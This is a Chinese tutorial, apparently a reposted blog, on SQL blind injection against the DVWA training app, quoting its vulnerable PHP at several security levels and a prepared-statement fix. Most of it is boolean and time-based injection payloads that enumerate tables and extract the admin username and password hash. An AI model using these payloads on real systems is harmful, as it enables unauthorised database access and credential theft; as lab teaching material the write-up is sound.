一、SQL 盲注
1.简介
SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。
2.分类
- 基于布尔的盲注: 即可以根据返回页面判断条件真假的注入;
- 基于时间的盲注: 即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断;
- 基于报错的盲注: 即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中;
3.盲注测试思路
1.对于基于布尔的盲注,通过构造真or假判断条件(数据库各项信息取值的大小比较, 如:字段个数,字段长度、版本数值、字段名、字段名各组成部分在不同位置对应的字符ASCII码…), 将构造的sql语句提交到服务器,然后根据服务器对不同的请求返回不同的页面结果 (True、False);然后不断调整判断条件中的数值以逼近真实值,特别是需要关注 响应从True<–>False发生变化的转折点。
2.对于基于时间的盲注,通过构造真or假判断条件的sql语句, 且sql语句中根据需要联合使用sleep()函数一同向服务器发送请求, 观察服务器响应结果是否会执行所设置时间的延迟响应,以此来判断所构造条件的真or假(若执行sleep延迟,则表示当前设置的判断条件为真);然后不断调整判断条件中的数值以逼近真实值,最终确定具体的数值大小or名称拼写。
3.对于基于报错的盲注,搜寻查看网上部分Blog,基本是在rand()函数作为group by的字段进行联用的时候会违反Mysql的约定而报错。rand()随机不确定性,使得group by会使用多次而报错。
盲注渗透测试流程
1.判断是否存在注入,注入的类型
2.猜解当前数据库名称
3.猜解数据库中的表名
4.猜解表中的字段名
5.获取表中的字段值
6.验证字段值的有效性
7.获取数据库的其他信息:版本、用户…
常用判断ID
1
'
1 and 1=1 #
1 and 1=2 #
1' and 1=1 #
1' and 1=2 #
1' or '1' = '1 #
1' or '1' = '2 #
二、SQL Injection (Blind)
1.LOW
1.1代码审计
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
代码对参数id没有做任何检查、过滤,存在明显的SQL注入漏洞;
同时SQL语句查询返回的结果只有两种:
存在:User ID exists in the database;不存在:User ID is MISSING from the database;
单引号注入
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
手工盲注的过程,就像你与一个机器人聊天,这个机器人知道的很多,但只会回答“是”或者“不是”,因此你需要询问它这样的问题,例如“数据库名字的第一个字母是不是a啊?”,通过这种机械的询问,最终获得你想要的数据。
1.2漏洞利用
a基于布尔的盲注:
a.1判断是否存在注入,注入是字符型还是数字型
若1' and 1=1 # //存在exists
1' and 1=2 # //不存在missing
存在字符型注入
若1 and 1=1 # //存在exists
1 and 1=2 # //存在exists
这两个都是存在,不是数字型注入
输入1' and 1=1# 实际后台执行,返回存在。
SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=1#';
输入1' and 1=2# 实际后台执行,返回不存在。
SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=2#';
说明存在字符型的SQL盲注。
a.2猜解当前的数据库名称
猜解数据库名,首先要猜解数据库名的各个属性,然后挨个猜解字符。
数据库名称的属性:字符长度、字符组成的元素(字符/数字/下划线/…)
** 元素的位置**(首位/第一位/…/末位)
2.1)判断数据库名称长度(二分法思维)
1' and length(database())>10 # //missing
1' and length(database())>5 # //missing
1' and length(database())>3 # //exists
1' and length(database())=4 # //exists
说明数据库名称长度为4个字符
SELECT first_name, last_name FROM users WHERE user_id = '1' and length(database())=4 # ';
得出该数据库名称长度为4个字符。
2.2) 判断数据库名称的字符组成元素:
利用substr()函数从给定字符串中,从指定位置开始截取指定长度的字符串,分离出数据库名称的位置,并分别转换为ASCII,与对应的ASCII值比较大小,找到值相同的字符。
mysql数据库中的字符串函数substr()的参数含义。
用法:
substr(string, start, length);
string为字符串;
start为起始位置;
length为长度。
注意:mysql中substr()的start是从1开始的,而不是0
1' and ascii(substr(database(),1,1))>50 # //exists
1' and ascii(substr(database(),1,1))=100 # //exists
第一个字符为:100--->d
1' and ascii(substr(database(),2,1))=118 # //exists
第二个字符为:118--->v
1' and ascii(substr(database(),3,1))=119 # //exists
第三个字符为:119--->w
1' and ascii(substr(database(),4,1))=97 # //exists
第四个字符为:97--->a
SELECT first_name, last_name FROM users WHERE user_id = '1' and ascii(substr(database(),4,1))=97 # ';
数据库名称为dvwa
a.3猜解数据库中的表名
数据库中表的属性:表的个数,表的名字长度,表的名字组成元素
3.1) 首先猜解数据库中表的数量:
对于Mysql,DBMS数据库管理系统—>information_schema库—>tables表 —>table_schema、table_name、table_rows…字段。
输入:
1' and (select count(table_name) from information_schema.tables where table_schema=database()) >10# //missing
1' and (select count (table_name) from information_schema.tables where table_schema=database())=1 # //missing
1' and (select count(table_name) from information_schema.tables where table_schema=database()) =2# //exists
说明dvwa中有两个表
SELECT first_name, last_name FROM users WHERE user_id = '1' and (select count(table_name) from information_schema.tables where table_schema=database()) =2# ';
3.2.) 表名称的长度:
1.查询列出当前连接数据库下的所有表名称
select table_name from information_schema.tables where table_schema=database()#
2.列出当前连接数据库中的第1个表名称
select table_name from information_schema.tables where table_schema=database() limit 0,1#
3.以当前连接数据库第1个表的名称作为字符串,从该字符串的第一个字符开始截取其全部字符
substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1) #
4.计算所截取当前连接数据库第1个表名称作为字符串的长度值
length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))#
5.将当前连接数据库第1个表名称长度与某个值比较作为判断条件,联合and逻辑构造特定的sql语句进行查询,根据查询返回结果猜解表名称的长度值
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 #
limit子句可以被用于强制 Select语句返回指定的记录数。和subtsr不同,limit是从0开始的。
输入:
一定要给select整个语句加上括号括起来,即length((select xxx)) 或substr((select xxx))
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 # //missing
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # //exists
//说dvwa中第一个表的表名长度为9个字符
SELECT first_name, last_name FROM users WHERE user_id = '1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #';
**3.3) **表名称的字符组成:(分别猜解dvwa中第一个表的表名称的第1/2/3/…/9个字符)
第一个表:
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>88 # //missing
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 # //exists
第一个字符:103—>g
依次猜解其他字符:guestbook
第二个表:
查看字符长度
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))>3 # //exists
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=5 # //exists
//说dvwa中第二个表的表名长度为5个字符
第二个表的第一个字符为:117—>u
依次猜解其他字符:users
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>88 # //exists
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=117 #
a.4猜解表中的字段名
表中的字段名属性:表中的字段数目、某个字段名的字符长度、字段的字符组成以及位置; 某个字段的全名匹配
4.1) 猜解users表的字段数目:
判断[dvwa库-users表]中的字段数目
输入:
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')>10 # //missing
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 # //exist
说明dvwa.users表中有8个字段
4.2)猜解user表中的字段长度:
1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=3 # //missing
1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=7 # //exist
说明users表的第一个字段为7个字符长度
4.3) 数据库中的字段名称
采用二分法,即可猜解出所有字段名。按照常规流程,从users表的第1个字段开始,对其猜解每一个组成字符, 获取到完整的第1个字段名称…然后是第2/3/…/8个字段名称,首先获取几个包含关键信息的字段,如:用户名、密码…
用户名:user/username/uname/u_name/name/…
密码:password/pass_word/pwd/pass/…
1’ and (select count( * ) from information_schema.columns where table_schema=database() and table_name=’users’ and column_name=’user’)=1 # //exists
说明dvwa.users表存在user字段
1’ and (select count( * ) from information_schema.columns where table_schema=database() and table_name=’users’ and column_name=’password’)=1 # //exists
说明dvwa.users表存在password字段
a.5获取表中的字段值(数据):
5.1) 表中字段的长度
1' and length(substr((select user from users limit 0,1),1))>10 #//missing
1' and length(substr((select user from users limit 0,1),1))=5 # //exists
#说明dvwa.users表的user的第1条记录长5个字符
dvwa.users表的user的第1条记录长5个字符
1' and length(substr((select password from users limit 0,1),1))>10 #//exist
1' and length(substr((select password from users limit 0,1),1))>40 #//missin
1' and length(substr((select password from users limit 0,1),1))=32 #//exists
dvwa.users表的password的第1个字段长32字符(字符长32位,不是明文加密,猜测为md5加密,手工猜测几乎不可能)
**5.2) **表中字符的组成元素
1.第一种方式:用二分法依次猜解user/password字段中每组字段值的每个字符组成。
user字段-第i组取值、第n个字符:
1’ and ascii(substr((select user from users limit i-1,1),n,1))=xxx #
password字段-第i组取值、第n个字符:
1’ and ascii(substr((select password from users limit i-1,1),n,1))=xxx #
第二种方式:猜测去碰撞完整字段值的全名。
1’ and substr((select user from users limit 0,1),1)=’admin’ # //exists
1’ and (select count( * ) from users where user=’admin’)=1 # //exists
说明user字段的第一组取值为:admin
1’ and (select count( * ) from users where user=’admin’ and password=’5f4dcc3b5aa765d61d8327deb882cf99’)=1 #//exists
说明password字段的第一组取值为:5f4dcc3b5aa765d61d8327deb882cf99–md5—>password
账号admin 密码password
b基于时间的盲注:
即不能根据页面返回内容判断 任何 信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断;
对于基于时间的盲注,通过构造真or假判断条件的sql语句, 且sql语句中根据需要联合使用sleep()函数一同向服务器发送请求, 观察服务器响应结果是否会执行所设置时间的延迟响应,以此来判断所构造条件的真or假(若执行sleep延迟,则表示当前设置的判断条件为真);然后不断调整判断条件中的数值以逼近真实值,最终确定具体的数值大小or名称拼写。
b.1判断是否存在注入,注入是字符型还是数字型
输入1' and sleep(5) # 感觉到明显延迟;1'没报错,所以sleep(5)执行
输入1 and sleep(5) # 没有延迟;1报错所以sleep(5)没执行
说明存在 字符型 的基于时间的盲注。
b.2猜解当前数据库名
首先猜解数据名的长度:
if(expr1,expr2,expr3)函数:
如果 expr1 是TRUE ,则 if()的返回值为expr2; 否则返回值则为 expr3。if() 的返回值为数字值或字符串值
1' and if(length(database())=1,sleep(5),1) # 没有延迟
1' and if(length(database())=2,sleep(5),1) # 没有延迟
1' and if(length(database())=3,sleep(5),1) # 没有延迟
1' and if(length(database())=4,sleep(5),1) # 明显延迟
说明数据库名长度为4个字符。
接着采用二分法猜解数据库名组成:
1' and if(ascii(substr(database(),1,1))=50,sleep(5),1)# 没有延迟
1' and if(ascii(substr(database(),1,1))=100,sleep(5),1)# 明显延迟… d
1' and if(ascii(substr(database(),2,1))=118,sleep(5),1)# 明显延迟… v
1' and if(ascii(substr(database(),3,1))=119,sleep(5),1)# 明显延迟… w
1' and if(ascii(substr(database(),4,1))=97,sleep(5),1)# 明显延迟… a
得到数据库名称为dvwa
b.3猜解数据库中的表名
表的数量:
1' and if((select count(table_name) from information_schema.tables where table_schema=database())=1,sleep(5),1) # 没有延迟
1' and if((select count(table_name) from information_schema.tables where table_schema=database())=2,sleep(5),1) # 明显延迟
说明数据库中有两个表。
表名长度:
1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=3,sleep(5),1) # 没有延迟…
1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=9,sleep(5),1) # 明显延迟
1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=5,sleep(5),1) # 明显延迟
说明第一个表名的长度为9个字符。第二个表名长度5个字符。
表名(guestbook)
1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=103,sleep(5),1)# //g
1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),9))=107,sleep(5),1)# //k
(users)
1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1))=117,sleep(5),1)# 明显延迟 u
b.4.猜解表中的字段名
首先猜解表中字段的数量:
1' and if((select count(column_name) from information_schema.columns where table_schema=database() and table_name= 'users')=5,sleep(5),1) # 没有延迟
1' and if((select count(column_name) from information_schema.columns where table_schema=database() and table_name= 'users')=8,sleep(5),1) # 明显延迟
说明users表中有8个字段。
接着猜解字段名长度:
1' and if(length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=5,sleep(5),1) # 没有延迟…
1' and if(length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=7,sleep(5),1) # 明显延迟
说明users表的第一个字段长度为7个字符。
字段的名称:
1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=117,sleep(5),1)# //u
字段值:
id=1' and if(ascii(substr((select user from users limit 0,1),1,1))=97,sleep(5),1)# //a
我们可以用bp来爆破猜解出数据库的名字
url后面输入
id=1' and substr(database(),1,1)='a'--+&Submit=Submit# //第一个字母
id=1' and substr(database(),2,1)='a'--+&Submit=Submit# //第二个字母
爆破出来为d,依次猜解后面三个字母为vwa,数据库为dvwa
判断dvwa库下有几张表
id=1' and (select count(*) from information_schema.tables where table_schema=database())=1--+&Submit=Submit#
判断两张表的长度
id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1--+&Submit=Submit# //第一张表
id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=1--+&Submit=Submit# //第二张表
第一张表长度为9 第二张表长度为5
判端dvwa库下第一张表的第一个字母 为g
id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a'--+&Submit=Submit# //第一张第一个
id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1)='a'--+&Submit=Submit# //第一张第二个
id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)='a'--+&Submit=Submit# //第二张第一个
id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1)='a'--+&Submit=Submit# //第二张第二个
依次猜解出第一张表为guestbook,第二张表为users
判断users表下有几个字段
id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=1--+&Submit=Submit#
所以users表下有8个字段
判断users表下第一个字段的长度
id=1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=1--+&Submit=Submit#
所以users表下第一个字段的长度为7,按照此方法依次猜解出所有地段的长度。
判断users表下第一个字段的第一个字母
id=1' and substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='a'--+&Submit=Submit# //第一个字段第一个字母
id=1' and substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1)='a'--+&Submit=Submit# //第一个字段第二个字母
查到了两个有用的字段user password
判断user字段下面有多少个值 5个
id=1' and (select count(*) from users)=5--+&Submit=Submit#
判断user字段的第一个值的第一个字母
id=1' and substr((select user from users limit 0,1),1,1)='a'--+&Submit=Submit#
密码是采用md5加密,要么自己猜,要么靠sqlmap。
2.medium
源代码
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
//mysql_close();
}
?>
我们发现只能去选择1到5的数字,并且在选择后在url上面看不到我们提交上去的东西,因为这里我们输入的数字是以POST的方式提交到了后台,查看源代码可知,这里对id进行了一定的处理,会将我们输入的单引号给转义到,所以这里就只能为数字型注入或者宽字节注入了。
bp抓包
Submit=Submit&id=1 and 1=1# #exists
Submit=Submit&id=1 and 1=2# #MISSING
判断为字符型注入,之后的方法跟low级别就是一模一样了,这里我们介绍一种新方法,时间盲注,他其实也属于Boolena盲注,这里我们已经判断为数字型注入。
这里我们用到了HackBar插件,它的功能类似于地址栏,但是它里面的数据不受服务器的相应触发的重定向等其它变化的影响。
我们下载HackBar V2这一个, HackBar需要收费。
我们判断当前数据库的长度是否为4,如果是,则查询休眠5秒,如果不是,则查询1,不休眠。
Submit=Submit&id=1 and if(length(database())=4,sleep(5),1)#
我们发现页面确实休眠了5秒,所以判断当前数据库长度为4。
判断当前数据库的第一个字母,因为这里单引号被转义了,所以我们将字母转为ascii码进行查找,页面休眠了5秒,查找ascii码表,100对应的字母为d,所以判断当前数据库的第一个字母为d,按照此方法依次查找,判断当前数据库为dvwa,后面的过程与low级别基本相似。
Submit=Submit&id=1 and if(ascii(substr(database(),1,1))=100,sleep(5),1) #
3.high
查看源代码可知,我们输入id时,会自动跳转到另一个页面,再就是在sql语句后面加了一个limit函数。
<?php
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
4.Impossible
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
// Get results
if( $data->rowCount() == 1 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入;
同时只有返回的查询结果数量为1时,才会输出。
版权归原作者 橙子学不会. 所有, 如有侵权,请联系我们删除。